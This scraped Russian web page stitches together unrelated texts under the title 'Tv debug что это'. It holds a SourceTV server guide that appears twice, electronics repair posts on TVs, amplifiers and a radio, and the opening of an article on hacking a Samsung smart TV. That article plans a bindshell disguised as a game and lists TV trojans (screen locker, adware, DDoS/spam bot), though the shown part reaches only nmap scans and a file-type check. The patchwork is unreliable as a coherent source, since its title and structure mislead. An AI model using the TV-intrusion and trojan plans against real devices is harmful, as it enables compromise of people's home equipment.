Tv debug что это

Опубликовано: 22.04.2024

Andrey

Andrey

пишу код за еду
  • 26 Апр 2009
  • #1
  • SourceTV дает возможность неограниченному числу зрителей наблюдать за ходом матча на выделенном сервере Source. SourceTV зрители невидимы игрокам матча и не могут никак влиять на ход игры. Камера SourceTV может управляться как самим сервером так и непосредственно человеком, будучи ответственным за управлению ею. Вещание матча через SourceTV может передаваться с некоторым заранее заданным временным интервалом. Эта возможность страхует от вероятности того, что игроки могут воспользоваться SourceTV, чтобы получить какую-либо информацию об их оппонентах.
    Организация SourceTV для вещания нескольким зрителям не требует никаких особых временных затрат и ресурсов сервера. Организация же вещания для тысяч зрителей может потребовать предварительной подготовки и серьезных требований к серверу.

    1. Просмотр игры

    Для просмотра матча через SourceTV откройте Steam, выберите раздел Servers для того, чтобы открыть браузер серверов. Выберите раздел Spectate, чтобы увидеть список доступных SourceTV серверов. Вы можете изменить критерии поиска серверов через Change filters. Подключиться к серверу можно кликнув по нему в списке серверов два раза мышкой.
    Часто игровые лиги и чемпионаты заранее публикуют IP (вида IP:Port) адреса SourceTV, по этому вы всегда можете добавить адрес в закладку Favorites вместо того, чтобы искать его через поиск. Можно также подключиться к SourceTV используя консоль игры

    Порт по умолчанию у SourceTV является 27020, но может быть изменен по усмотрению администратора. Но порт SourceTV всегда следует указывать, так как порт по-умолчанию игрового сервера - 27015.
    В момент просмотра матча через SourceTV тип камеры и ее позиция определяются или самим сервером или человеком за это ответственным. Сами наблюдатели не могут переключать камеру, как это было в HLTV, так как это во много раз увеличивает пропускную способность. В тоже время демо записи, заснятые через SourceTV позволяют наблюдателям переключать камеру по их усмотрению.

    2. Транслирование игры

    SourceTV полностью интегрирован в Движок Source и больше не является отдельной программой, как это было раньше с HLTV. Чтобы начать вещание, сервер должен активировать SourceTV перед стартом карты командой tv_enable 1. После этого в игре можно будет увидеть SourceTV как отдельного бота, присутствующего в наблюдателях. Сервер SourceTV "живет" также как и игровой серверный процесс и называется SourceTV master server. Процесс SourceTV master server накапливает и кэширует информацию, после чего отдает ее клиентам с указанной задержкой, дабы избежать попыток читерства со стороны команд. Авто выбор камеры - это специальный мод, который автоматически определяет интересные игровые моменты и старается их показать зрителям (такие как убийства или закладка бомбы). Может быть также назначен человек - оператор матча, который будет сам выбирать игровые моменты и показывать зрителям их, SourceTV будет транслировать игру через его экран. Спектаторы SourceTV чаще всего подключаются к стандартному порту SourceTV 27020. Порт SourceTV может также быть изменен консольной командой tv_port.

    Подобная конфигурация удобна для маленьких матчей с малым количеством зрителей. Вся информация о зрителях и игроках обрабатывается игровым сервером. Большое количество зрителей тут же потребует большой нагрузки на процессор и пропускную способность канала. Следовательно логичным было бы решить проблему расхода мощности процессора и трафика распределив их между различными вспомогательными серверами, число которых можно увеличивать с растущим объемом зрителей. Этот способ осуществим подключением вспомогательных SourceTV к главному SourceTV транслятору, которые и будут выполнять роль распределителей зрителей. Такие сервера называются SourceTV прокси сервера, и каждый Прокси сервер может обрабатывать одновременно до 255 человек. Естественно сами Прокси сервера также могут подключаться к таким же прокси серверам и образовывать тем самым неограниченную сеть SourceTV серверов, транслирующую одну игру.

    Total slot и количество зрителей является суммарной величиной всех возможных слотов и зрителей с учетом подключенных прокси серверов. Если прокси сервер теряет подключение к мастер серверу то можно попытаться быстро подключиться с помощью команды tv_retry. Чтобы остановить вещание и отключить всех зрителей следует набрать команду tv_stop.

    3. Ручное управление камерой

    Камера в большинстве случаев управляется сервером. Но если оператор войдет в игру и займет место наблюдателя, во время матча нажмет клавишу E (Use), то камера SourceTV автоматически переключится на ручное управление и будет транслировать матч "из глаз" оператора. Оператор может выбрать любой режим показа (от первого лица, от третьего лица, свободный полет и тд.). Переключить камеру обратно в режим авто управления можно нажав еще раз клавишу E.
    Оператор должен обладать хорошим знанием матча, чтобы транслировать его зрителям.
    Мертвый игрок, если зайдет в наблюдатели, так же может стать оператором.

    4. Запись игры

    Мастер сервер SourceTV может осуществлять запись игры без какой-либо потери данных или сетевой задержки. Все события и предметы записываются в один файл, который может быть в последствие проигран как обычный демо файл (используйте команду demoui для проигрывания демо). Чтобы начать запись демо необходимо запустить SourceTV перед тем как карта будет загружена, после чего начать запись с помощью команды tv_record demoname. Запись демо прервется при смене карты или принудительно с помощью команды tv_stoprecord. Чтобы автоматически заставить писать каждый матч как только SourceTV будет включен необходимо прописать tv_autorecord 1. Автоматически записанные демо-файлы будут сохраняться с именем даты и времени формата auto-YYYYMMDD-hhmm-map.dem. Клиенты SourceTV также могут записывать ход матча с SourceTV командой record, но при просмотре файлов они будут иметь формат обычного демо, то есть человек не сможет сменить вид камеры и переключиться с игрока на другого игрока в течение проигрывания демо.
    Иногда может понадобиться использовать SourceTV только для записи демо, но не для показа и вещания через него матча. Для того чтобы отключить вещание через SourceTV необходимо уменьшить количество возможных зрителей до нуля командой tv_maxclients 0. Чтобы включить автозапись SourceTV на вашем сервере, добавьте эти строчки в ваш autoexec.cfg:

    5. Консольные команды

    tv_enable
    активирует SourceTV на локальном игровом сервере, бот SourceTV появится в наблюдателях при следующей смене карты.
    tv_name
    указывает имя SourceTV, которое появится в таблице счета и браузере серверов.
    tv_maxclients
    устанавливеат максимальное количество зрителей для данного SourceTV. (максимум 255, по умолчанию - 128).
    tv_stop
    остановить трансляцию через SourceTV.
    tv_status
    показать различную информацию по текущему SourceTV.
    tv_retry
    перепоключает SourceTV на последний известный адрес (только для прокси серверов).
    tv_delay
    задержка трансляции SourceTV в секундах (только для мастер сервера).
    tv_port
    устанавливает порт для SourceTV (по умолчанию 27020).
    tv_maxrate
    установить максимально допустимую пропускную способность проводимую для одного клиента в байт/секунда (изначально 3500).
    tv_password
    установить пароль на SourceTV для подключающихся зрителей.
    tv_relaypassword
    установить пароль на подключение для прокси серверов.
    tv_record
    начать запись SourceTV демо файла (только для мастер сервера).
    tv_stoprecord
    остановить запись демо.
    tv_autorecord
    автоматически записывать каждую игру. Формат файла - auto-YYYYMMDD-hhmm-map.dem.
    tv_debug
    показывает дополнительную отладочную информацию.

    6. Параметры запуска

    Эти параметры запуска сервера нельзя изменить через консоль или rcon . Они необходимы для того, если вам понадобилось запретить возможности SourceTV на сервере.

    SourceTV дает возможность неограниченному числу зрителей наблюдать за ходом матча на выделенном сервере Source. SourceTV зрители невидимы игрокам матча и не могут никак влиять на ход игры. Камера SourceTV можеть управляться как самим сервером так и непосредственно человеком, будучи ответственным за управлению ею. Вещание матча через SourceTV может передаваться с некоторым заранее заданным временным интервалом. Эта возможность страхует от вероятности того, что игроки могут воспользоваться SourceTV, чтобы получить какую-либо информацию об их оппонентах.

    1. Просмотр игры

    Для просмотра матча через SourceTV откройте Steam, выберите раздел Servers для того, чтобы открыть браузер серверов. Выберите раздел Spectate, чтобы увидеть список доступных SourceTV серверов. Вы можете изменить критерии поиска серверов через Change filters. Подключиться к серверу можно кликнув по нему в списке серверов два раза мышкой.

    Часто игровые лиги и чемпионаты заранее публикуют IP (вида IP: Port) адреса SourceTV, по этому вы всегда можете добавить адрес в закладку Favorites вместо того, чтобы искать его через поиск. Можно также подключиться к SourceTV используя консоль игры:

    Порт по умолчанию у SourceTV является 27020, но может быть изменен по усмотрению администратора. Но порт SourceTV всегда следует указывать, так как порт по-умолчанию игрового сервера — 27015.

    В момент просмотра матча через SourceTV тип камеры и ее позиция определяются или самим сервером или человеком за это ответственным. Сами спектаторы не могут переключать камеру, как это было в HLTV, так как это во много раз увеличивает пропускную способность. В тоже время демо записи, заснятые через SourceTV позволяют спектаторам переключать камеру по их усмотрению.

    2. Транслирование игры

    SourceTV полностью интегрирован в Движок Source и больше не является отдельной программой, как это было раньше с HLTV. Чтобы начать вещание, сервер должен активировать SourceTV перед стартом карты командой tv_enable 1. После этого в игре можно будет увидеть SourceTV как отдельного бота, присутствующего в спектаторах. Сервер SourceTV «живет» также как и игровой серверный процесс и называется SourceTV master server. Процесс SourceTV master server накапливает и кэширует информацию, после чего отдает ее клиентам с указанной задержкой, дабы избежать попыток читерства со стороны команд. Авто выбор камеры — это специальный мод, который автоматически определяет интересные игровые моменты и старается их показать зрителям (такие как убийства или закладка бомбы). Может быть также назначен человек — оператор матча, который будет сам выбирать игровые моменты и показывать зрителям их, SourceTV будет транслировать игру через его экран. Спектаторы SourceTV чаще всего подключаются к стандартному порту SourceTV 27020. Порт SourceTV может также быть изменен консольной командой tv_port.

    Подобная конфигурация удобна для маленьких матчей с малым количеством зрителей. Вся информация о зрителях и игроках обрабатывается игровым сервером. Большое количество зрителей тут же потребует большой нагрузки на процессор и пропускную способность канала. Следовательно логичным было бы решить проблему расхода мощности процессора и трафика распределив их между различными вспомогательными серверами, число которых можно увеличивать с растущим объемом зрителей. Этот способ осуществим подключением вспомогательных SourceTV к главному SourceTV транслятору, которые и будут выполнять роль распределителей зрителей. Такие сервера называются SourceTV прокси сервера, и каждый Прокси сервер может обрабатывать одновременно до 255 человек. Естественно сами Прокси сервера также могут подключаться к таким же прокси серверам и образовывать тем самым неограниченную сеть SourceTV серверов, транслирующую одну игру.

    Чтобы настроить прокси сервер SourceTV необходимо запустить выделенный сервер Source с параметром tv_relay с указанием IP адреса другого SourceTV сервера.

    Статус локального SourceTV всегда можно посмотреть командой tv_status. Вот пример ответа на эту команду:

    Total slot и количество зрителей является суммарной величиной всех возможных слотов и зрителей с учетом подключенных прокси серверов. Если прокси сервер теряет подключение к мастер серверу то можно попытаться быстро подключиться с помощью команды tv_retry. Чтобы остановить вещание и отключить всех зрителей следует набрать команду tv_stop.

    3. Ручное управление камерой

    Камера в большинстве случаев управляется сервером. Но если оператор войдет в игру и займет место спектатора, во время матча нажмет клавишу E (Use), то камера SourceTV автоматически переключится на ручное управление и будет транслировать матч «из глаз» оператора. Оператор может выбрать любой режим показа (от первого лица, от третьего лица, свободный полет Переключить камеру обратно в режим авто управления можно нажав еще раз клавишу E.

    4. Запись игры

    Мастер сервер SourceTV может осуществлять запись игры без какой-либо потери данных или сетевой задержки. Все события и предметы записываются в один файл, который может быть в последствие проигран как обычный демо файл (используйте команду demoui для проигрывания демо). Чтобы начать запись демо необходимо запустить SourceTV перед тем как карта будет загружена, после чего начать запись с помощью команды tv_record demoname. Запись демо прерведся при смене карты или принудительно с помощью команды tv_stoprecord. Чтобы автоматически заставить писать каждый матч как только SourceTV будет включен необходимо прописать tv_autorecord 1. Автоматически записанные демо-файлы будут сохраняться с именем даты и времени формата auto-YYYYMMDD-hhmm-map.dem. Клиенты SourceTV также могут записывать ход матча с SourceTV командой record, но при просмотре файлов они будут иметь формат обычного демо, то есть человек не сможет сменить вид камеры и переключиться с игрока на другого игрока в течение проигрывания демо.

    Иногда может понадобиться использовать SourceTV только для записи демо, но не для показа и вещания через него матча. Для того чтобы отключить вещание через SourceTV необходимо уменьшить количество возможных зрителей до нуля командой tv_maxclients 0. Чтобы включить автозапись SourceTV на вашем сервере, добавьте эти строчки в ваш autoexec.cfg:

    5. Консольные команды

    tv_enable // активирует SourceTV на локальном игровом сервере, бот SourceTV появится в спектаторах при следующей смене карты. tv_name // указывает имя SourceTV, которое появится в таблице счета и браузере серверов. tv_maxclients // устанавливеат максимальное количество зрителей для данного SourceTV. (максимум 255, по умолчанию — 128). tv_stop // остановить трансляцию через SourceTV. tv_status // показать различную информацию по текущему SourceTV. tv_retry // перепоключает SourceTV на последний известный адрес (только для прокси серверов). tv_delay // задержка трансляции SourceTV в секундах (только для мастер сервера). tv_port

    // устанавливает порт для SourceTV (по умолчанию 27020). tv_maxrate // установить максимально допустимую пропускную способность проводимую для одного клиента в байт/секунда (изначально 3500). tv_password

    // установить пароль на SourceTV для подключающихся зрителей. tv_relaypassword

    // установить пароль на подключение для прокси серверов. tv_record // начать запись SourceTV демо файла (только для мастер сервера). tv_stoprecord // остановить запись демо. tv_autorecord // автоматически записывать каждую игру. Формат файла — auto-YYYYMMDD-hhmm-map.dem. tv_debug // показывает дополнительную отладочную информацию.

    6. Параметры запуска

    Эти параметры запуска сервера нельзя изменить через консоль или rcon. Они необходимы для того, если вам понадобилось запретить возможности SourceTV на сервере.

    Команда ниже запрещает использовать SourceTV как передатчик информации на прокси сервера:

    Заключение

    SourceTV находится в процессе постоянного улучшения и доработки.

    Зачастую, чтобы понять происходящее в телевизоре необходимо считать его логи. Это информационные сообщения, поступающие с процессора в читабельном виде. Для примера возьмем телевизор Philips 42pfl5038t, висящий на заставке, не реагирующий на пульт. Разбираем.

    Подключаем терминал к телевизору. Смотрим логи Ремонт техники, Ремонт электроники, Длиннопост

    На плате нам нужно найти разъем UART, полное название - UART SERVICE CONNECTOR. На нем 3 контакта - TX , RX и GND. К нему подключаем коннектор. Универсального кабеля нет, поэтому коннектор я сделал сам.

    Подключаем терминал к телевизору. Смотрим логи Ремонт техники, Ремонт электроники, Длиннопост

    Берём любой преобразователь USB to UART. Я использую самый дешевый программатор CH341A. Джампер ставим в позицию 2-3, и соединяем соответственно RX, TX и GND.

    Подключаем терминал к телевизору. Смотрим логи Ремонт техники, Ремонт электроники, Длиннопост

    Подключаем в USB. В диспетчере устройств должен появиться новый COM-порт. Открываем любую терминальную программу , в настройках программы выбираем COM порт вашего преобразователя и выставляем скорость 115200, выбираем место сохранения лога , далее нажимаем коннект в программе. Подключаем питание и нажимаем кнопку включения. В терминале побежал код загрузки.

    Подключаем терминал к телевизору. Смотрим логи Ремонт техники, Ремонт электроники, Длиннопост

    Ищем ошибку. Она возникает при обращении процессора к шине цифрового тюнера.

    [dtv_app_mtk]> [RHXTV] c_rpc_reg_xtvapi_op_hndlrs[ 30.640817] [Vendor_Demod][Silabs]:

    Подключаем терминал к телевизору. Смотрим логи Ремонт техники, Ремонт электроники, Длиннопост

    Найдены возможные дубликаты

    @m7mark А вот можно как для инженера - как из этой информации "[dtv_app_mtk]> [RHXTV] c_rpc_reg_xtvapi_op_hndlrs[ 30.640817] [Vendor_Demod][Silabs]:

    Информация для того, чтобы найти проблему - тюнер, а что 6 нужно ставить, уже из сервис мануалов готовое решение

    а это не повод еепромку заменить?

    Ты знал, ты знал. Тут работы пару раз ткнуть паяльником)))))

    Ehdmund


    Амфитон У-002. Часть 1. Неконденсаторный ремонт

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    Фотографий схем не будет, они получились в говнокачестве. В инете они есть. Начнём разбираться с громкостью. Первое, на что подумали - это сам регулятор. Нет, он в норме. Проблему локализовали, она в предусилителе. Причём при регулировании громкости, до середины диапазона, громкость не регулируется совсем, потом 3 деления она регулируется, затем уходит в перегрузку и на выходе мы видим меандр вместо синуса, ограниченный напряжением питания. Жесть) как такое можно выдать за рабочее.

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    Конденсатор 2С12 должен стоять неполярный. Что мы видим?) П-Р поставил два полярных минусами наружу. Данный конденсатор стоит по цепи прохождения сигнала, на любой его ноге может быть как положительный, так и отрицательный потенциал. Ставить полярные конденсаторы в данном месте схемы без доработки самой схемы нельзя. Почему, читайте про технологию изготовления полярных и неполярных электролитов. Видимо, П-Р ставил электролиты по принципу, что есть под рукой. Сходить в магазин за нужными элементами было лень, наверно. Смотрим, что у нас на обратной стороне платы

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    А там вот что) мало того, что 2С12 состоит из сборной солянки, так ещё П-Р умудрился при пайке повесить соплю на соседнюю дорожку.
    Ставим неполярный конденсатор, соплю убираем. О чудо) звук регулируется как надо.
    Отлично, разобрались. Смотрим выход. А там у нас по этому же каналу постоянный уровень -400 мВ. Херня, подумали мы)) есть же подстроечный резистор на 470 Ом, им подрегулируем. Вот только он не регулирует. Значит, резистор в отказе. Меняем его на новый. И. Удалось снизить постоянку до -0.1 В. Тут три варианта, забить (колонка не сгорит, ухо не услышит), ставить резистор побольше сопротивлением, чтоб свести постоянку в 0 или разбираться. Выбираем 3 вариант. Проблема была локализована в плате усилителя мощности в узле ГСТ. Стабилитрон уехал. Сложность тут была ещё в том, что именно в это место капала вода когда-то. Дорожки деградировали, ножки элементов отказывались пропариваться.
    Исправили. Настроили уровни усиления, подрегулировали токи покоя.
    Что там дальше? Выставить напряжения. Тут проблем не возникло. Подстроечные резисторы на данном участке схемы рабочие.
    Проверяем выходы ещё разок. Всё в норме.
    Разбираемся с большими электролитами.
    По схеме по каждому питанию на каждый усилитель мощности стоят по 2 конденсатора 2000 мкФ. П-Р поставил по одному конденсатору по 6800. Они новые. А крепления остальных конденсаторов просто выкинул. С заказчиком согласовали, оставляем по 6800. Только шунтируем 0,1 мкФ.
    Разматываем изоленту и видим чудо))) родных проводов от платы до конденсатора не хватило, человек наращивал их. Но и этого не хватило) нарастил ещё раз)))
    Берём провода нужной длины, термоусадку и делаем красиво, на сколько это возможно.

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    На фото ещё ничего не увязано, так как ремонт не завершён.
    На этом же фото показана проблема входа "ЗС". П-Ру было лень отпаивать провода от разъёма, он их откусил, потом скрутил и замотал любимой изолентой. Плохой контакт и давал все шумы и трески. Если учесть, что уровень сигнала по " ЗС" 10 мВ, то это очень плохо.
    Провода от платы тонокомпенсации к разъёму меняем. Проверяем работу входа "ЗС". Тут АЧХ каналов разные. На 100 Гц сигналы одинакового уровня. На 1 кГц разница в 1,4 раза по напряжению между каналами, на 10 кГц - 2,5 раза. Ещё косяк П-Р?)) нет.
    Проверяем номиналы элементов фильтров. Всё в норме. Смотрим печать.

    Амфитон У-002. Часть 1. Неконденсаторный ремонт Ремонт техники, Усилитель звука, Сделано в СССР, Ремонт электроники, Амфитон, Длиннопост

    Видим крохотную сопельку. Дело в том, что расположение этой сопли и цвет припоя говорят о том, что сопля эта сделана 30 лет назад. П-Р в этом месте платы ничего не паял. Рядом нет электролитов и следов свежего флюса и припоя. Хотя П-Р, по моему представлению, не пользовался даже канифолью. То есть, это заводской брак. Получается, за 30 с лишним лет к этому входу ничего не подключали (не слушали пластинки) или люди не понимали, что звук в колонках разный. Соплю убрали, АЧХ выровнялись.
    Дальше замена термопасты. Тут ничего сложного, выпаиваем выходные транзисторы, выкручиваем их, СБСом счищаем высохшую термопасту, меняем слюдяные прокладки по необходимости, мажем, собираем.
    На этом ремонт усилителя завершён. Сегодня и в понедельник мы будем снимать характеристики на том, что есть. То есть сейчас там стоят по сигналу EPCOS и JAMICON в основном. После того, как придут аудиоконденсаторы, мы их заменим и снимем характеристики ещё раз.
    Сравнение во второй части будет.
    Какие характеристики мы будем снимать:
    - АЧХ
    - Р мах (4 Ом)
    - Время нарастания
    - Нелинейные искажения (спектральный состав при входном гармоническом сигнале)
    - Собственные шумы
    - ОСШ
    Первая часть закончена, спасибо за внимание)

    Ehdmund


    Океан 214. Перестройка на FM

    Здравствуйте. Пришёл на перестройку Океан. Просили рассказать про перестройку, рассказываю на примере этого приёмника.

    Океан 214. Перестройка на FM Ремонт техники, Сделано в СССР, Океан, Приемник, Ремонт электроники, Длиннопост

    Океан 214. Перестройка на FM Ремонт техники, Сделано в СССР, Океан, Приемник, Ремонт электроники, Длиннопост

    Океан 214. Перестройка на FM Ремонт техники, Сделано в СССР, Океан, Приемник, Ремонт электроники, Длиннопост

    Весь в пыли, протёр немного, чтобы было видно гравировку)
    Предупреждаю сразу, ремонта не было, только перестройка. Не спрашивайте, почему не ремонтировал, не снимал АЧХ, ФЧХ, КНИ и прочие абревиатуры)
    Первым делом проверяем, что он принимает в диапазоне УКВ. Проверять будем "по воздуху, через эфир". Для этого подключаем к генератору ОТДЕЛЬНУЮ антенну. Режим частотной модуляции, несущая 70 МГц, девиация 15 кГц, модулирующая частота 1 кГц, амплитуда 200 мВ СКЗ.
    Даём сигнал в эфир и принимаем Океаном примерно в середине диапазона УКВ. Динамик выдаёт нам писк, " слышим" наш килогерц. Приёмник функционален.
    Значит, можно перестраивать.
    Для перестройки нам нужен УКВ-модуль.
    Разбираем приёмник, вытряхиваем останки тараканов и прочее г..но.

    Океан 214. Перестройка на FM Ремонт техники, Сделано в СССР, Океан, Приемник, Ремонт электроники, Длиннопост

    Вот он. Выглядит так. Запоминаем, где что припаяно, нитку фиксируем изолентой, чтоб не ушла и не размоталась, выпаиваем провода и снимаем плату.

    Океан 214. Перестройка на FM Ремонт техники, Сделано в СССР, Океан, Приемник, Ремонт электроники, Длиннопост

    Перестраиваем контур гетеродина на V2, контур усиления радиочастоты на V1, входной контур на катушках L1, L2. Для этого изменяем номиналы конденсаторов, выдёргиваем лишние, скручиваем витки катушек согласно фотографии выше.
    Ставим плату на место. Обязательно нужно установить экран, потому что, если дальше настраивать без экрана, то все регулировки уедут.
    Меняем на генераторе несущую частоту на 88 МГц. С помощью сердечника катушки L4 уводим эту частоту в крайнее правое положение регулировки.
    Меняем частоту на 108 МГц, нужно убедиться, что приёмник принимает её в левом положении. Если диапазона не хватает, или он избыточен, можно подыграть конденсатором С18. Чтобы увеличить диапазон, уменьшаем ёмкость, и наоборот.
    Осциллографом и индуктивным зондом бесконтактно проверяем, что частота генерации гетеродина на 10,7 МГц (промежуточная частота) выше любой частоты сигнала из диапазона 88-108 МГц.
    Так как контура гетеродина и усилителя радиочастоты двигаются по диапазону синхронно с помощью спаренного воздушного конденсатора (С9, С19), их нужно свести. Сведение выполняется в двух точках диапазона с помощью сердечника катушки L3 и подстроечного конденсатора С7. Процедура повторяется несколько раз с использованием генератора и вольтметра. На слух настроить невозможно, хорошее сведение контуров обеспечит уверенный приём на большом расстоянии от вышки. 50 км от вышки в деревне принимать должен все станции.
    Когда всё настроили, собираем наш приёмник, проверяем, что все станции принимаются, дезинфицируем рабочее место, приборы, себя)

    Ehdmund


    Бриг У-001 - Ремонт и профилактика

    Здравствуйте.
    Приносит человек этот усилитель на профилактику. Купил, говорит, некопаный, под пломбами. Пломбы клиент после покупки сам вскрыл, утвердился, что никто не лазил)))
    Включил, рассказывает, усилитель, чтоб радио послушать, звук плохой. Ну и ко мне на профилактику. Оставил и убежал)

    Бриг У-001 - Ремонт и профилактика Сделано в СССР, Длиннопост, Бриг, Ремонт электроники, Усилитель звука, Ремонт техники

    Бриг У-001 - Ремонт и профилактика Сделано в СССР, Длиннопост, Бриг, Ремонт электроники, Усилитель звука, Ремонт техники

    Бриг У-001 - Ремонт и профилактика Сделано в СССР, Длиннопост, Бриг, Ремонт электроники, Усилитель звука, Ремонт техники

    Осматриваю, вроде никто не копался. Смотрю, заглушки нет, которая соединяет вход усилителя с выходом предусилителя.

    Для тех, кто не в курсе:
    Почти во всех отечественных усилителях 0й и 1й серии есть розетка DIN5, с помощью которой, можно в разрыв сигнала между усилителем мощности и предварительным усилителем подключить эквалайзер.
    Если отдельного эквалайзера нет, то ставится заглушка, которая перемыкает нужные контакты и сигнал идёт на вход усилителя мощности.

    Звоню клиенту. Где заглушка? Он про такую не знает. Как, говорю, радио слушали на нём без заглушки?))))
    Варианта, собственно 2. Делать заглушку или отпаиваться от этого разъёма и внутри соединять выход предварительного со входом основного.
    Плюс первого варианта в том, что всё остаётся по заводу, можно подключить эквалайзер.
    Второй вариант хорош тем, что выкидывая достаточно длинный шмат кабеля (который идёт рядом с трансформатором к заглушке, потом обратно) мы минимизируем помехи.
    Выбрал клиент первый вариант.

    Все электролиты под замену.
    Для тех, кто интересуется стоимостью.
    Есть 3 варианта замены электролитов:
    1 вариант. Меняем все на дешёвые. JB, Jamicon, Epcos. Общая стоимость конденсаторов 1500-2000.
    2 вариант. Конденсаторы по сигнальным цепям ставим Elna, Nichicon, Mundorf, остальные из 1 варианта. Ценник 3500-5000.
    3 вариант. Гуляем, везде ставим аудиофильские конденсаторы, абсолютно. Ценник 14000 и выше (нет предела совершенству).
    Клиент выбрал 2 вариант. Отлично. Заказываю конденсаторы)))

    Пока конденсаторы едут, смотрим, нет ли чего сгоревшего.
    Проверяю предохранители. По первичной цепи вместо предохранителя, проволока намотана. Так, звонок. Включаю тумблер "Сеть" прозваниваю вилку, разрыв.
    В итоге, тумблер под замену, предохранитель по первичке новый, вилка новая.
    Что произошло. Напыление на контактах тумблера со временем осыпалось, контакты стали обгорать. Увеличилось сопротивление. Первым сдался предохранитель) его подлечили, обмотали проволокой и отправили на службу. Целью было, наверно, спалить дом) Но не вышло. Следующим сдался питающий кабель. Обрыв сразу на обоих проводах возле вилки сетевой. На тумблере, соответственно на одной паре контактов 47 Ом, на другой от 150 до разрыва прыгает.
    Предохранители по вторичным напряжениям звонятся, решил вытащить, проверить, на всякий случай, не кинули ли туда перемычку. Пока доставал из держателя, один развалился. Их тоже под замену, значит.
    Итого плюсом 200 рублей на предохранители, тумблер и вилку.

    Бриг У-001 - Ремонт и профилактика Сделано в СССР, Длиннопост, Бриг, Ремонт электроники, Усилитель звука, Ремонт техники

    Бриг У-001 - Ремонт и профилактика Сделано в СССР, Длиннопост, Бриг, Ремонт электроники, Усилитель звука, Ремонт техники

    Бриг У-001 - Ремонт и профилактика Сделано в СССР, Длиннопост, Бриг, Ремонт электроники, Усилитель звука, Ремонт техники

    Всё заменено, первое включение и. Слышу, щёлкнуло рэле, выходы открыты. Лампочка "Сеть" не горит. Сама лампа сдохла. Такую я уже не найду. Она старше меня) Смотрим, как она работает. 4,4 В переменки, диодный мост, конденсатор, токоограничивающий резистор 33 Ома и синий рассеиватель. Ок, меняем резистор на 330 Ом, вместо лампы ставим синий диодик. Перегрузки проверил, работают)

    Бриг У-001 - Ремонт и профилактика Сделано в СССР, Длиннопост, Бриг, Ремонт электроники, Усилитель звука, Ремонт техники

    Дальше проверяем отсутствие постоянки на выходе, выравниваем уровни сигнала левого и правого каналов, регулируем токи покоя. Тут слышу шуршит резистор баланса. В некоторых положениях левый канал пропадает вовсе. Новый такой не купить быстро. СБСом промыл и старый стал как новый. На этом всё.

    Играет Бриг, конечно, замечательно. Отличный аппарат)

    Содержание статьи

    • Наши задачи
    • Подключаемся
    • Осмотр GUI
    • Запуск злокода
    • Внутренности системы
    • Файловая система
    • Распаковка
    • Троян для телевизора
    • 1. Блокиратор телевизора
    • 2. Рекламный трой
    • 3. DDoS/спам-бот
    • Недостатки Internet@TV
    • Реанимация устройства: консольный кабель
    • Через консоль
    • Через загрузчик u-boot

    Взлом встраиваемых систем и, в частности, различной бытовой техники — это очень интересная тема и перспективное направление. Сегодня я покажу тебе это на примере телевизора Samsung LE650B. Все в этом телеке почти стандартно — GNU/Linux, BusyBox, — но чтобы получить к нему доступ, мне пришлось изрядно потрудиться.

    Наши задачи

    Первым делом нужно обозначить конкретные задачи, которые я перед собой ставил. Главная задача — исследовать телевизор и осуществить локальный взлом: получить полный доступ к кишкам нашего телека и разобраться с тем, как он функционирует на уровне ОС. Побочная задача — поразмышлять на тему трояна для зомбоящика и прикинуть, как подобный трой мог бы выглядеть.

    Подключаемся

    Первичный осмотр телевизора показал, что на борту устройства есть Ethernet-порт. Это очень важное обстоятельство, ведь если у телевизора есть сетевой интерфейс, то наверняка есть и сетевые сервисы. Выбрав ручную настройку сети, я назначил телевизору статический адрес 192.168.1.2, а своему ноутбуку – 192.168.1.1. После этого я соединил патч-кордом телек с ноутбуком и проверил связь — телевизор отлично пинговался.

    Для сбора информации об открытых портах и запущенных сетевых сервисах я традиционно воспользовался сканером портов nmap:

    $ nmap -A 192.168.1.2

    Nmap scan report for 192.168.1.2
    Host is up (0.00019s latency).
    All 1000 scanned ports on 192.168.1.2 are closed
    MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)
    OS details: Linux 2.6.14 — 2.6.16, Linux 2.6.17 (Mandriva)

    Честно говоря, я и не ожидал увидеть тут открытый телнет, так что подобный результат меня не сильно обломал :). Нет открытых TCP-портов — ничего страшного. Может, UDP-сервисы порадуют?

    # nmap -sU 192.168.1.2

    Nmapscanreportfor 192.168.1.2
    Host is up (0.00021s latency).
    Not shown: 997 closed ports
    PORT STATE SERVICE
    1024/udpopen|filtered unknown
    1026/udpopen|filtered win-rpc
    1900/udpopen|filtered upnp
    MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)

    Осмотр GUI

    Больше всего мне хотелось получить полноценный доступ к операционной системе зомбоящика, идеальным вариантом была бы консоль с рутовыми правами 🙂

    Размышляя об этом, я решил побродить по меню телевизора, вдруг там есть что-нибудь интересное? Среди различных "Галерей" и "Музыки", я нашел интересный пункт "Игры". Идея была стандартной: наверняка кроме предустановленных гамес Samsung сделал возможность установки новых игр и даже предоставил SDK для их создания. Осталось понять, как новые игры устанавливаются, а на чeм они написаны и в каком формате — не столь важно.

    Само собой, играть я собрался в занимательную игру под названием bindshell. После минутного поиска я попал на Samsung AppStore. Зарегистрировавшись, я загрузил первую попавшуюся бесплатную игру. Из интересного в файле с игрой имелись: xml-файл clmeta.dat – manifest-файл, с языковыми настройками и описателями файлов игры; рядом находится game.so — sharedlibrary, в ней и лежит код запуска игры. Была еще куча файлов — ресурсы игры и прочие бинарники. Первым делом мне захотелось узнать, для какого процессора собрана игра:

    $ file game.so
    game.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped

